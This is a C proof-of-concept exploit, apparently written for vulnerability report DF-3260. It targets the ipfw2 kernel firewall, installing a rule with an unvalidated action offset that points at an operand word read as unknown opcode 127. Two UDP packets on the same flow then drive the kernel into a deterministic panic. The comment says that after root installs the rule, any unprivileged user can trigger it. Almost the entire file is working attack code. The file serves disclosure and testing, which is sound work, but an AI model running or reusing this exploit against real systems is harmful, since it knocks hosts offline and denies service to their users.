/*
 * DF-3260 PoC 1 -- ipfw2 unvalidated act_ofs: deterministic kernel panic
 * ("-- unknown opcode 127") from the O_CHECK_STATE/O_PROBE_STATE action-walk
 * jump through ACTION_PTR() at sys/net/ipfw/ip_fw2.c:4207.
 *
 * Rule installed (root, raw socket setsockopt IP_FW_ADD):
 *   cmd[0] = O_PROBE_STATE (len 1)
 *   cmd[1] = O_IP_SRC      (len 2, opcode=1)
 *   cmd[2] = operand d[0]  = inet addr of 127.0.255.255 = 0xffff007f
 *            -> interpreted as insn: opcode 0x7f=127 (unknown), len 0
 *   cmd[3] = O_KEEP_STATE  (len 1)
 *   cmd[4] = O_ACCEPT      (len 1)
 *   cmd_len = 5, act_ofs = 2   <-- act_ofs points at the *operand* word,
 *                                  never validated against the insn chain
 *
 * Packet 1 creates the keep-state entry; packet 2 (same flow) makes
 * O_PROBE_STATE jump to ACTION_PTR(rule) == &cmd[2] and dispatch on
 * opcode 127 -> panic().
 *
 * After root installs the rule, ANY unprivileged user that emits the
 * matching flow triggers the panic.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* opcodes from sys/net/ipfw/ip_fw2.h */
#define O_IP_SRC	1
#define O_PROBE_STATE	36
#define O_KEEP_STATE	37
#define O_ACCEPT	43

#define IP_FW_ADD	50

struct ioc_rule {
	uint16_t	act_ofs;
	uint16_t	cmd_len;
	uint16_t	rulenum;
	uint8_t		set;
	uint8_t		usr_flags;
	uint32_t	set_disable;
	uint32_t	static_count;
	uint32_t	static_len;
	uint64_t	pcnt;
	uint64_t	bcnt;
	uint32_t	timestamp;
	uint8_t		reserved[16];
	uint32_t	cmd[64];
};

#define INSN(op, len, arg1)	((op) | ((len) << 8) | ((arg1) << 16))

int
main(void)
{
	struct ioc_rule r;
	struct sockaddr_in src, dst;
	int s, us, rc;
	ssize_t n;
	char buf[8];

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("raw socket"); exit(1); }

	memset(&r, 0, sizeof(r));
	r.rulenum = 1000;
	r.cmd_len = 5;
	r.act_ofs = 2;		/* OOB w.r.t. instruction chain: operand word */
	r.cmd[0] = INSN(O_PROBE_STATE, 1, 0);
	r.cmd[1] = INSN(O_IP_SRC, 2, 0);
	/* 127.0.255.255 in network byte order: bytes 7f 00 ff ff
	 * as an insn word (LE): opcode=0x7f(127) len=0x00 */
	r.cmd[2] = htonl(inet_addr("127.0.255.255")) == 0 ? 0 : 0xffff007f;
	r.cmd[3] = INSN(O_KEEP_STATE, 1, 0);
	r.cmd[4] = INSN(O_ACCEPT, 1, 0);

	rc = setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + r.cmd_len * 4);
	if (rc != 0) { perror("IP_FW_ADD"); exit(1); }
	printf("[+] installed rule 1000 with act_ofs=2 (cmd_len=5)\n");
	close(s);

	us = socket(AF_INET, SOCK_DGRAM, 0);
	if (us < 0) { perror("udp socket"); exit(1); }

	memset(&src, 0, sizeof(src));
	src.sin_family = AF_INET;
	src.sin_port = htons(54321);
	src.sin_addr.s_addr = inet_addr("127.0.255.255");
	if (bind(us, (struct sockaddr *)&src, sizeof(src)) != 0) {
		perror("bind 127.0.255.255 (adding alias)");
		exit(1);
	}

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);	/* discard */
	dst.sin_addr.s_addr = inet_addr("127.0.0.1");

	n = sendto(us, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst));
	printf("[+] packet 1 (state create): sendto=%zd\n", n);
	sleep(1);

	printf("[+] packet 2 (check-state jump to ACTION_PTR=&cmd[2])...\n");
	n = sendto(us, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst));
	printf("[+] packet 2: sendto=%zd (no panic?!)\n", n);

	/* if we get here the kernel did not panic */
	return 0;
}
